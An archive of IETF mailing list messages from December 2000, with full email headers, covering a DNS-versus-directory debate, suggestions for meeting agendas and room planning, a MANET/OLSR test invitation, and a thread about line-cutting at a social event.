Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <644F79AD0DB4D111BB5F00A0C92F801101DE39C1@brub100a.siemens.be> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I hate to butt in here, I've been listening to these discussions for some time. (I am incredibly impressed with how smart everyone in these IETF groups is). But, what about NMS directories that contain devices (non-computer), physical location, automations, histories, provisioning, and acquisition information? There seems to be a debate to split "DNS" from "Directory" services, whereas, in long term, it is inevitable that DNS will merge with Directory services, even if current technology isn't that way. Pushing for a conceptual split in theory will slow the convergence of DNS/Directory. I would argue, that this convergence is very valuable, and is the natural progression (in long term). The concept of a directory should be a large database, with pre-defined standards for how different types of common knowledge is built in, but should also allow for user defined types, for which no existing standard exists. DNS should ultimately become one standard data type of this theoretical global directory. As should what we want to do, which is storing automations, configurations, and histories in the directory. The IETF community should be aware that it is probable that it is impossible to predict *what* one would want to store in a Directory, but that there is standard information that should be well-defined to extract from the directory. This is a passionate issue for us as no existing directory implementations have supported all of the requirements for our NMS and we built on SQL databases. Ultimately, we believe a directory service should be just like a massive SQL database, but include standard "Tables" for standard things, like user accounts, DNS, computers, etc. It should all be centrally accessible in a common manner, but support custom user types, in addition to standards for standard things. It is dangerous to say "DNS is not Directory". While in today's existing implementations that is true, ask yourself the question, in the long term, will this still be true? And if it will be, is that good or bad? I would argue, that in the long term, DNS *should* merge with Directory services. Kyle Lussier > Directory service = a software system that responds to requests > for information about entities, e.g. people in an organization. > It's a system for managing access to computer resources, keeping > track of the users of a network,... from a single point of > administration. It allows a network administrator to set up and > control a database of users and resources and manage them using a > directory (by example with an easy-to-use GUI, Graphical User > Interface). Users, computers, sites,... can be added, updated and > managed centrally ; applications can be distributed electronically. > > Microsoft Active Directory, Network Information Service (NIS), > Novell Directory Service (NDS) and X.500 are examples of > directory services. > -- > > Address registry = a registry of numbers or addresses with some > corresponding data, e.g. names. Such a registry helps maintain > names, which are identifiers that are mapped to numbers or addresses. > > Let's say a Directory Service is multi-dimensional, in the sense > it involves many types of data, many levels of information you > have to search in, while an Address Registry has one dimension, > in the sense it just maps addresses to their corresponding name, > like a telephone registry, DNS, WINS, the "hosts" file or the > "lmhosts" file. > -- > > So, what is DNS? In the TCP/IP world, the Domain Name System > (DNS) is a distributed database that provides the mapping between > IP addresses and hostnames. It's just an address registry. > -- From owner-ietf-outbound Wed Dec 13 12:50:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA19564 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 12:50:03 -0500 (EST) Received: from webterminator24.crystaltech.com (webterminator24.crystaltech.com [207.254.115.25]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18792 for ; Wed, 13 Dec 2000 12:43:38 -0500 (EST) Received: from workhorse [63.14.195.213] by webterminator24.crystaltech.com (SMTPD32-6.05) id A59C9E5014C; Wed, 13 Dec 2000 10:45:00 -0700 Reply-To: From: "Pan Jung" To: , "'TOMSON ERIC'" , "'Gabriel Landowski'" Cc: , , , "'Dave Crocker'" , "'Durah, Kheder'" , "'Randy Bush'" , , Subject: RE: Internationalization and the IETF Date: Wed, 13 Dec 2000 10:43:49 -0700 Message-ID: <001101c0652c$4115fba0$0100a8c0@mshome.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal In-Reply-To: Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Hello, I am new here but one note: Even in long term, would "Services in Rich Application Classes" = directory service could be treated differently from "Services in System Operation Classes" = DNS ? Depending on the importance for systems operations? Maybe even as sub-classes. Pan Jung Programmer/Consultant panjung@photonicnet.com -----Original Message----- From: Kyle Lussier [mailto:lussier@autonoc.com] Sent: Wednesday, December 13, 2000 10:11 AM To: TOMSON ERIC; 'Gabriel Landowski' Cc: bmanning@zed.isi.edu; fred@cisco.com; anthony@ATKIELSKI.COM; 'Dave Crocker'; Durah, Kheder; Randy Bush; Jim_Stephenson-Dunn@3COM.COM; ietf@ietf.org Subject: RE: Internationalization and the IETF I hate to butt in here, I've been listening to these discussions for some time. (I am incredibly impressed with how smart everyone in these IETF groups is). But, what about NMS directories that contain devices (non-computer), physical location, automations, histories, provisioning, and acquisition information? There seems to be a debate to split "DNS" from "Directory" services, whereas, in long term, it is inevitable that DNS will merge with Directory services, even if current technology isn't that way. Pushing for a conceptual split in theory will slow the convergence of DNS/Directory. I would argue, that this convergence is very valuable, and is the natural progression (in long term). The concept of a directory should be a large database, with pre-defined standards for how different types of common knowledge is built in, but should also allow for user defined types, for which no existing standard exists. DNS should ultimately become one standard data type of this theoretical global directory. As should what we want to do, which is storing automations, configurations, and histories in the directory. The IETF community should be aware that it is probable that it is impossible to predict *what* one would want to store in a Directory, but that there is standard information that should be well-defined to extract from the directory. This is a passionate issue for us as no existing directory implementations have supported all of the requirements for our NMS and we built on SQL databases. Ultimately, we believe a directory service should be just like a massive SQL database, but include standard "Tables" for standard things, like user accounts, DNS, computers, etc. It should all be centrally accessible in a common manner, but support custom user types, in addition to standards for standard things. It is dangerous to say "DNS is not Directory". While in today's existing implementations that is true, ask yourself the question, in the long term, will this still be true? And if it will be, is that good or bad? I would argue, that in the long term, DNS *should* merge with Directory services. Kyle Lussier > Directory service = a software system that responds to requests > for information about entities, e.g. people in an organization. > It's a system for managing access to computer resources, keeping > track of the users of a network,... from a single point of > administration. It allows a network administrator to set up and > control a database of users and resources and manage them using a > directory (by example with an easy-to-use GUI, Graphical User > Interface). Users, computers, sites,... can be added, updated and > managed centrally ; applications can be distributed electronically. > > Microsoft Active Directory, Network Information Service (NIS), > Novell Directory Service (NDS) and X.500 are examples of > directory services. > -- > > Address registry = a registry of numbers or addresses with some > corresponding data, e.g. names. Such a registry helps maintain > names, which are identifiers that are mapped to numbers or addresses. > > Let's say a Directory Service is multi-dimensional, in the sense > it involves many types of data, many levels of information you > have to search in, while an Address Registry has one dimension, > in the sense it just maps addresses to their corresponding name, > like a telephone registry, DNS, WINS, the "hosts" file or the > "lmhosts" file. > -- > > So, what is DNS? In the TCP/IP world, the Domain Name System > (DNS) is a distributed database that provides the mapping between > IP addresses and hostnames. It's just an address registry. > -- From owner-ietf-outbound Wed Dec 13 13:30:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA26084 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 13:30:02 -0500 (EST) Received: from SERVER1.woodside.tpike.com (h115.switchsoftsystems.ipc.net [205.178.81.115]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA25289 for ; Wed, 13 Dec 2000 13:23:29 -0500 (EST) Received: by SERVER1.woodside.tpike.com with Internet Mail Service (5.5.2650.21) id ; Wed, 13 Dec 2000 10:23:28 -0800 Received: from internap.com (host237.vpnx.com [38.168.152.237]) by mailut2.vpnx.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YYHWA1BR; Wed, 13 Dec 2000 11:23:01 -0700 Message-ID: <3A37BE11.692E88E8@internap.com> Date: Wed, 13 Dec 2000 11:21:05 -0700 From: Brian Jarvis Organization: InterNAP X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Agenda suggestions Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit The following are suggestions for improving the main agendas for future IETF meetings. With the growing use of PDAs, navigation of agendas needs to be made easier and quicker because of the limited view into the documents and the time and inaccuracy of scrolling. I have ordered these suggestions according to usefulness. 1. Put internal references into the agenda for each day. For example, "THURSDAY, December 14, 2000" would become "THURSDAY, December 14, 2000". 2. Put internal references into the agenda for each session, For example, "1300-1500 Afternoon Sessions I". 3. Put a short table of contents (with links) at the top of the agenda. Like: Monday 0900 1300 1530 1930 Tuesday 0900 1300 1415 1545 1700 The following suggestions are for improving the session agendas. 1. Use a simple web document (html) instead of a text file. 2. Every named RFC and I-D should be linked to the actual document. For example "draft-ietf-diffserv-new-terms-03". This would make it easier (and thus more likely) for people to read the I-Ds. 3. If it exists, include near the top a linked reference to the appropriate WG charter page. For example, "diffserv". This would make it easier to understand the context of the session and decide which ones to attend. --the walrus aka Brian Jarvis bjarvis@internap.com From owner-ietf-outbound Wed Dec 13 13:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA28297 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 13:40:03 -0500 (EST) Received: from SERVER1.woodside.tpike.com (h115.switchsoftsystems.ipc.net [205.178.81.115]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA25668 for ; Wed, 13 Dec 2000 13:26:48 -0500 (EST) Received: by SERVER1.woodside.tpike.com with Internet Mail Service (5.5.2650.21) id ; Wed, 13 Dec 2000 10:26:48 -0800 Received: from internap.com (host237.vpnx.com [38.168.152.237]) by mailut2.vpnx.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YYHWA1BV; Wed, 13 Dec 2000 11:26:19 -0700 Message-ID: <3A37BE11.692E88E8@internap.com> Date: Wed, 13 Dec 2000 11:21:05 -0700 From: Brian Jarvis Organization: InterNAP X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Agenda suggestions Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit The following are suggestions for improving the main agendas for future IETF meetings. With the growing use of PDAs, navigation of agendas needs to be made easier and quicker because of the limited view into the documents and the time and inaccuracy of scrolling. I have ordered these suggestions according to usefulness. 1. Put internal references into the agenda for each day. For example, "THURSDAY, December 14, 2000" would become "THURSDAY, December 14, 2000". 2. Put internal references into the agenda for each session, For example, "1300-1500 Afternoon Sessions I". 3. Put a short table of contents (with links) at the top of the agenda. Like: Monday 0900 1300 1530 1930 Tuesday 0900 1300 1415 1545 1700 The following suggestions are for improving the session agendas. 1. Use a simple web document (html) instead of a text file. 2. Every named RFC and I-D should be linked to the actual document. For example "draft-ietf-diffserv-new-terms-03". This would make it easier (and thus more likely) for people to read the I-Ds. 3. If it exists, include near the top a linked reference to the appropriate WG charter page. For example, "diffserv". This would make it easier to understand the context of the session and decide which ones to attend. --the walrus aka Brian Jarvis bjarvis@internap.com From owner-ietf-outbound Wed Dec 13 15:10:46 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA12828 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 15:10:03 -0500 (EST) Received: from mailhost.cs.auc.dk (mailhost.cs.auc.dk [130.225.194.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA11649 for ; Wed, 13 Dec 2000 15:00:20 -0500 (EST) From: T.Clausen@computer.org Received: from localhost (root@luke.cs.auc.dk [130.225.194.177]) by mailhost.cs.auc.dk (8.9.3/8.9.3) with ESMTP id VAA21726; Wed, 13 Dec 2000 21:00:18 +0100 (MET) Date: Wed, 13 Dec 2000 20:00:06 +0000 (UTC) X-Sender: voop@byzantium To: ietf@ietf.org, manet@itd.nrl.navy.mil Subject: MANET test today at 2:00PM Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mailhost.cs.auc.dk id VAA21726 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id PAA11649 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Hi all, As was announced at the MANET wg-meeting this monday, we will be trying to conduct an experiment with a (hopefully) rather large manet at this IETF. We will be running the OLSR-code (http://hipercom.inria.fr/olsr), which is available for Linux at the www-site above. We will therefore ask anyone who has a laptop, an 802.11-card and about half an hour (and some interrest) to spare to complete the following 4-step program: 1. Download the code from http://hipercom.inria.fr/olsr 2. Compile the code on your laptop (Instructions on the WWW-site) 3. Arrive in front of the LAN-card registration desk (with laptop & 802.11-card) at 02:00PM today (Decemer 13) 4. Look for a guy with glasses and a San Diego cap. We will help you configuring the olsrd and give instructions regarding the testing. NOTICE: = This is intended as a TEST - not a demonstration. There will be no flashy graphics or other such stuff. = We do not (yet) have code for Windows, MacOs or *BSD in a distributeable state. = The success of the test depends on the number of people who show up. If you *want* to prove that MANET's do not scale, then please show up. If you *want* to prove that they do - then please show up too. Mange hilsner / Sincerely ------------------------------------------- Thomas Heide Clausen Civilingeniør i Datateknik (cand.polyt) M.Sc in Computer Engineering E-Mail: T.Clausen@computer.org WWW: http://www.cs.auc.dk/~voop ------------------------------------------- From owner-ietf-outbound Wed Dec 13 16:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24870 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 16:30:03 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24529 for ; Wed, 13 Dec 2000 16:27:20 -0500 (EST) From: Masataka Ohta Message-Id: <200012132119.GAA17828@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id GAA17828; Thu, 14 Dec 2000 06:19:44 +0900 Subject: Re: Internationalization and the IETF In-Reply-To: from Kyle Lussier at "Dec 13, 2000 12:11:13 pm" To: lussier@autonoc.com Date: Thu, 14 Dec 2000 06:19:42 +0859 () CC: TOMSON ERIC , "'Gabriel Landowski'" , bmanning@zed.isi.edu, fred@cisco.com, anthony@ATKIELSKI.COM, "'Dave Crocker'" , "Durah, Kheder" , Randy Bush , Jim_Stephenson-Dunn@3COM.COM, ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Kyle; > There seems to be a debate to split "DNS" from "Directory" services, > whereas, in long term, it is inevitable that DNS will merge with > Directory services, even if current technology isn't that way. Huh? URLs are the result of such merge. URLs have ASCII domain name part followed by a path and search part. You can put any local characters with any local encoding scheme to path or search part of a URL. Browsers further encode them with % escape. Localized web servers to recognize such a URL are available. That's all and it's working. Masataka Ohta From owner-ietf-outbound Wed Dec 13 16:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA26585 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 16:40:03 -0500 (EST) Received: from cohiba.phoobar.net (root@www.laneandmimi.com [206.251.12.140]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24869 for ; Wed, 13 Dec 2000 16:30:02 -0500 (EST) Received: (from lane@localhost) by cohiba.phoobar.net (8.9.3/8.9.3) id NAA16045 for ietf@ietf.org; Wed, 13 Dec 2000 13:30:03 -0800 X-Authentication-Warning: cohiba.phoobar.net: lane set sender to lane@laneandmimi.com using -f Date: Wed, 13 Dec 2000 13:30:03 -0800 From: Lane Patterson To: ietf@ietf.org Subject: 49th-IETF conf room planning Message-ID: <20001213133003.E15958@laneandmimi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i X-Title: Chief Diaper Changer X-Organization: Lane And Mimi Dot Com X-Loop: ietf@ietf.org This has likely been proposed previously, but I would like to raise the topic of mapping adequate conf rooms to WGs and BOFs. I have now attended 3 WGs that had to turn away attendees due to extreme lack of space, and several others that had plenty of extra unutilized space. Would the IETF organizers consider requesting WG/BOF attendance plans upon registration? Are there other suggestions for improvement in this process? Respectfully, -Lane From owner-ietf-outbound Wed Dec 13 17:40:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA04311 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 17:40:02 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03170 for ; Wed, 13 Dec 2000 17:31:35 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 968F7898; Wed, 13 Dec 2000 23:31:31 +0100 (CET) To: ietf@ietf.org Subject: guidance (re: social event politeness) Message-Id: <20001213223131.968F7898@sean.ebone.net> Date: Wed, 13 Dec 2000 23:31:31 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Hi - Is it appropriate to name & shame people who were cutting into line yesterday during the social event, yet who did not admit to and fix the error of their ways when it was pointed out that this unfair behaviour is inappropriate? Those few of you who shrugged off a polite suggestion to join the back of the queue: we know who you are, and are prepared to identify you in front of thousands of your colleagues in the industry, if there is a rough consensus among them that this is a reasonable way of self-policing the IETF and its social events. Sean. From owner-ietf-outbound Wed Dec 13 17:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA06471 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 17:50:02 -0500 (EST) Received: from gollum.esys.ca (ietf.207.137.73.246.tx.verio.net [207.137.73.246]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA05995 for ; Wed, 13 Dec 2000 17:47:56 -0500 (EST) Received: from gollum.esys.ca (localhost [127.0.0.1]) by gollum.esys.ca (8.11.1/8.11.1) with ESMTP id eBDMlrr02134; Wed, 13 Dec 2000 15:47:53 -0700 (MST) (envelope-from lyndon@gollum.esys.ca) Message-Id: <200012132247.eBDMlrr02134@gollum.esys.ca> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Lyndon Nerenberg To: smd@ebone.net (Sean Doran) cc: ietf@ietf.org Subject: Re: guidance (re: social event politeness) In-reply-to: Your message of "Wed, 13 Dec 2000 23:31:31 +0100." <20001213223131.968F7898@sean.ebone.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 13 Dec 2000 15:47:53 -0700 Sender: lyndon@gollum.esys.ca X-Loop: ietf@ietf.org > Those few of you who shrugged off a polite suggestion to join the > back of the queue: we know who you are, and are prepared to identify > you in front of thousands of your colleagues in the industry This is definately an RFC. We also need a BCP for where to hold conversations. (Hint: NOT in the middle of the hallways, please.) From owner-ietf-outbound Wed Dec 13 18:00:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA07886 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 18:00:03 -0500 (EST) Received: from roam.psg.com (ietf.207.137.72.106.tx.verio.net [207.137.72.106]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA06700 for ; Wed, 13 Dec 2000 17:51:02 -0500 (EST) Received: from randy by roam.psg.com with local (Exim 3.12 #1) id 146KjZ-0000Ox-00; Wed, 13 Dec 2000 14:50:49 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: smd@ebone.net (Sean Doran) Cc: ietf@ietf.org Subject: Re: guidance (re: social event politeness) References: <20001213223131.968F7898@sean.ebone.net> Message-Id: Date: Wed, 13 Dec 2000 14:50:49 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit my wife, a preschool teacher was in oslo. she said that she had never conceived that so many add (attention deficit) people could be in one place. our population has an overly high proportion of people who think that they are more 'important' than everyone else, the kind of folk who cut in plane boarding lines as if they will get to seattle sooner. feel sorry for them. life constantly reminds them that they are no more important than the rest of us tiny bags of impure water on a little ball at the far end of a big universe. randy --- ps: present company excepted, of course :-) From owner-ietf-outbound Wed Dec 13 18:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA10082 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 18:10:03 -0500 (EST) Received: from localhost.localdomain (ietf.207.137.72.181.tx.verio.net [207.137.72.181]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA09692 for ; Wed, 13 Dec 2000 18:08:18 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBDNCdb17482 for ; Wed, 13 Dec 2000 18:12:39 -0500 Sender: francis@localhost.localdomain Message-ID: <3A380266.EE903B44@ecal.com> Date: Wed, 13 Dec 2000 18:12:39 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) References: <20001213223131.968F7898@sean.ebone.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Sean Doran wrote: > Is it appropriate to name & shame people who were cutting into > line yesterday during the social event, yet who did not admit to > and fix the error of their ways when it was pointed out that this > unfair behaviour is inappropriate? I will admit that I cut once, basically by accident, because I saw what looked like a table with nobody lined up at it--of course, the line was on the other side. I'm still not sure how I missed that--I think I was just too hungry; when I saw food, I got tunnel vision and went straight for it. I apologize. (Of course, we could discuss how the social was laid out so as to make it almost impossible to have well-defined lines...not an excuse, but it was part of the problem.) -- /==============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own.| |Chief Scientist |=============================================| |eCal Corp. |Among animals, it's eat or be eaten. Among | |francis@ecal.com|people, it's define or be defined. | \==============================================================/ From owner-ietf-outbound Wed Dec 13 18:50:51 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA18778 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 18:50:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17496 for ; Wed, 13 Dec 2000 18:43:50 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id PAA26690; Wed, 13 Dec 2000 15:43:26 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACD03876; Wed, 13 Dec 2000 15:43:19 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.87 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14904.2401.668316.199220@localhost.localdomain> Date: Wed, 13 Dec 2000 15:42:25 -0800 To: Randy Bush Cc: smd@ebone.net (Sean Doran), ietf@ietf.org Subject: Re: guidance (re: social event politeness) In-Reply-To: References: <20001213223131.968F7898@sean.ebone.net> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 13 Dec 2000 at 14:50 -0800, Randy Bush apparently wrote: > my wife, a preschool teacher was in oslo. she said that she had never > conceived that so many add (attention deficit) people could be in one > place. our population has an overly high proportion of people who > think that they are more 'important' than everyone else, the kind of > folk who cut in plane boarding lines as if they will get to seattle > sooner. I don't think it's arrogance. Most of the people I talk to at the IETF are socially aware. I suspect it's two things. First, this is a crew who have been conditioned in their jobs to do whatever it takes to accomplish goals. That's fine in a controlled environment but can cause trouble in the outside world. Second, the overcrowding at the social event was such that it was clear there was a very good chance that if you weren't at the front of a "line" you would not get what you wanted ever. Ever. Not a situation we face very often. From owner-ietf-outbound Wed Dec 13 19:00:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA21038 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 19:00:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17643 for ; Wed, 13 Dec 2000 18:44:33 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA23833 for ; Wed, 13 Dec 2000 18:44:02 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA19563 for ; Wed, 13 Dec 2000 18:44:05 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 13 Dec 2000 18:44:03 -0500 Message-ID: <4FBEA8857476D311A03300204840E1CF01A6EB97@whq-msgusr-02.pit.comms.marconi.com> From: "Rosen, Brian" To: ietf@ietf.org Subject: RE: 49th-IETF conf room planning Date: Wed, 13 Dec 2000 18:44:03 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org On this subject, may I suggest that we have outgrown hotel conference facilities. The place where we have outgrown them is hallways -- hotel facilities simply do not have adequate hallways to accommodate us. Much of the value of the meeting is the impromptu "BOF"s that occur in the hallways and other open areas. At this particular meeting, we compounded the problem by putting food service in the MIDDLE of the hall. We also, in virtually the same area put the registration area, causing close to illegal density of people. This is just unacceptable. Brian > -----Original Message----- > From: Lane Patterson [mailto:lane@laneandmimi.com] > Sent: Wednesday, December 13, 2000 4:30 PM > To: ietf@ietf.org > Subject: 49th-IETF conf room planning > > > This has likely been proposed previously, but I would like to > raise the topic of mapping adequate conf rooms to WGs and BOFs. > I have now attended 3 WGs that had to turn away attendees due > to extreme lack of space, and several others that had plenty of > extra unutilized space. > > Would the IETF organizers consider requesting WG/BOF attendance > plans upon registration? Are there other suggestions for > improvement in this process? > > Respectfully, > -Lane > > - > This message was passed through ietf+censored@alvestrand.no, which > is a sublist of ietf@ietf.org. Not all messages are passed. > Decisions on what to pass are made solely by Harald Alvestrand. > From owner-ietf-outbound Wed Dec 13 19:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA23549 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 19:10:03 -0500 (EST) Received: from episteme-software.com (presnick-fw.flexabit.net [64.198.230.34]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA22264 for ; Wed, 13 Dec 2000 19:04:10 -0500 (EST) Received: from [207.137.72.203] (207.137.73.138) by episteme-software.com with ESMTP (Eudora Internet Mail Server 3.0.2); Wed, 13 Dec 2000 16:59:50 -0600 Mime-Version: 1.0 X-Sender: resnick@resnick1.qualcomm.com (Unverified) Message-Id: In-Reply-To: <20001213133003.E15958@laneandmimi.com> References: <20001213133003.E15958@laneandmimi.com> X-Mailer: Eudora [Macintosh version 5.1a1-12.00] Date: Wed, 13 Dec 2000 15:00:09 -0800 To: Lane Patterson From: Pete Resnick Subject: Re: 49th-IETF conf room planning Cc: ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org On 12/13/00 at 1:30 PM -0800, Lane Patterson wrote: >Would the IETF organizers consider requesting WG/BOF attendance >plans upon registration? They do ask when the meeting is scheduled. It is up to the chair to estimate appropriately. -- Pete Resnick Eudora Engineering - QUALCOMM Incorporated From owner-ietf-outbound Wed Dec 13 19:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA25701 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 19:20:03 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24691 for ; Wed, 13 Dec 2000 19:15:15 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id BAA09986; Thu, 14 Dec 2000 01:15:00 +0100 Message-Id: <4.3.2.7.2.20001213161126.05cb6820@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 13 Dec 2000 16:14:08 -0800 To: Lane Patterson , ietf@ietf.org From: Harald Alvestrand Subject: Re: 49th-IETF conf room planning In-Reply-To: <20001213133003.E15958@laneandmimi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 13:30 13/12/2000 -0800, Lane Patterson wrote: >This has likely been proposed previously, but I would like to >raise the topic of mapping adequate conf rooms to WGs and BOFs. >I have now attended 3 WGs that had to turn away attendees due >to extreme lack of space, and several others that had plenty of >extra unutilized space. > >Would the IETF organizers consider requesting WG/BOF attendance >plans upon registration? Are there other suggestions for >improvement in this process? The biggest improvement would be if people could sign up for the meetings 2 years in advance, so that we could book big enough meeting facilities. The assignment to rooms is based on the WG/BOF chairs' estimates of attendance. Getting better estimates would help - but this would have to be done entirely automagically if it were to help the (small) secretariat staff, and be filled in correctly. Anyone volunteering to write/host the data entry pieces of this, so that we can test it at a forthcoming IETF? -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Wed Dec 13 19:30:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA29050 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 19:30:02 -0500 (EST) Received: from hercules.teknovations.net (dt0b0nfa.san.rr.com [204.210.50.250]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA26898 for ; Wed, 13 Dec 2000 19:23:09 -0500 (EST) Received: from CHIMERA ([24.94.8.80]) by hercules.teknovations.net (Post.Office MTA v3.5.2 release 221 ID# 0-0U10L2S100) with SMTP id net; Wed, 13 Dec 2000 16:25:39 -0800 Message-ID: <007f01c06563$590e9730$6501a8c0@CHIMERA> From: 